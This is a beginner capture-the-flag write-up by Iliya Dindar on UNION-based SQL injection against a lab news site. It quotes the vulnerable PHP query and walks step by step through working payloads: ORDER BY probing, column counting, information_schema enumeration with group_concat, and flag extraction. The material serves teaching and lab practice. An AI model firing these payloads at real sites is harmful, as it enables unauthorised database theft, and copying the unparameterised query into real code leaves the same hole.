UNION SELECT Unlocked: A Beginner’s Guide to UNION-Based SQLi
Category: SQL Injection | Technique: UNION SELECT | Difficulty: Beginner | Author: Iliya Dindar

Table of Contents
01 - Vulnerability Discovery
Appending ?source=true to any article URL exposes the page's PHP source code. The backend constructs its SQL query by directly concatenating the user-supplied id parameter without any sanitization or parameterization:
\(sql = "SELECT * FROM news WHERE id = '" . \)_GET['id'] . "'";
At runtime with a normal request, this evaluates to:
SELECT * FROM news WHERE id = '1'
Because the id value is placed inside single quotes and never escaped, the application is vulnerable to string-based UNION SQL injection.
02 - Injection Detection
Before attempting any extraction, we need to confirm three things: whether injection is possible, whether the value is wrapped in quotes, and which quote character is used. We use ORDER BY for this - it's non-destructive and produces clear server errors when it breaks the query.
Note on URL encoding: The
#character is reserved in URLs and must be encoded as%23to reach the server as a comment delimiter.
| Result | Payload |
|---|---|
| ✅ Returns result (baseline) | page/?id=54 |
| ✅ Returns result (true condition) | page/?id=54' ORDER BY 1%23 |
| ❌ Stack trace error (false condition) | page/?id=54' ORDER BY 1000%23 |
| - No difference (wrong quote type) | page/?id=54" ORDER BY 1%23 |
The behavioral difference between the true and false conditions - a valid result vs. a stack trace error - confirms all three things at once. Injection is present, the value is wrapped in single quotes, and comments via %23 successfully truncate the rest of the query.
03 - Column Count Enumeration
A UNION-based injection requires the injected SELECT to return the same number of columns as the original query. We determine this by incrementally increasing the ORDER BY index until the query fails.
-- Succeeds → at least 10 columns
/post.php?id=1' ORDER BY 10%23
-- Fails → column 11 does not exist
/post.php?id=1' ORDER BY 11%23
Result: The original query returns exactly 10 columns. Our UNION SELECT must also return 10.
04 - Reflected Column Discovery
With the column count confirmed, we identify which column position is rendered in the page output. To force the application to display our UNION result instead of the real row, we use a non-existent ID - causing the first SELECT to return zero rows.
/post.php?id=1654654' UNION SELECT 1,user(),3,4,5,6,7,8,9,10%23
The page renders the output of user() in the post title field:
[email protected]
Column position 2 is our extraction channel for all subsequent queries.
05 - Database Enumeration
Extraction follows a top-down path through the database structure:
database name → table names → column names → flag data
All metadata is accessible through information_schema. We use group_concat() throughout to collapse multiple rows into a single output, avoiding the need for repeated LIMIT iterations.
Step 1 - Enumerate databases
/post.php?id=1654654' UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9,10
FROM information_schema.schemata%23
Output:
information_schema, performance_schema, sqli-level-1
Step 2 - Enumerate tables in the target database
/post.php?id=1654654' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10
FROM information_schema.tables
WHERE table_schema = database()%23
Output:
flag, news
Step 3 - Enumerate columns in the flag table
/post.php?id=1654654' UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10
FROM information_schema.columns
WHERE table_schema = database()
AND table_name = 'flag'%23
Output:
flag_text, id
06 - Flag Extraction
With the full schema mapped, we query the flag_text column directly from the flag table:
/post.php?id=1654654' UNION SELECT 1,flag_text,3,4,5,6,7,8,9,10
FROM flag%23
The flag value is rendered in the page output:
flag_06d32920379xxxxxxxxxxxxxxxxxxxxx
Written by Iliya Dindar


